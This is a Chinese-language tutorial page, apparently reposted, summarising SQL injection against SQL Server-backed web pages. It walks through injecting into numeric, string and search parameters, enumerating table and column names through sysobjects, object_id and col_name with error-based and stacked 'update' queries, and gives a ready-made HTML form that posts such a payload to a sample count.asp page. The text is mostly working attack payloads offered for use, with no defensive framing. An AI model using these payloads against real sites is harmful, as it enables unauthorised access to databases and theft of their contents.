SQL注射总结(5)

来源:互联网 发布:qt多进程编程实例 编辑:程序博客网 时间:2024/04/27 17:17
通常注射的一些介绍
  A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  select * from 表名 where 字段='连续剧'
  注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
  select * from 表名 where 字段='连续剧' and [查询条件] and ''=''

  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  select * from 表名 where 字段like '%关键字%'
  注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
  select * from 表名 where字段like '%' and [查询条件] and '%'='%'
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
  从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  post.htm内容:主要是方便输入。

<iframe name=p src=# width="100%" height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>


  枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--


  这是将第一个表名更新到aaa的字段处。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--


  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--


  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

关键字:软件  服务器  qq  os  msn  dos   美女 电影 小说 音乐 无极 汽车 MP3

原创粉丝点击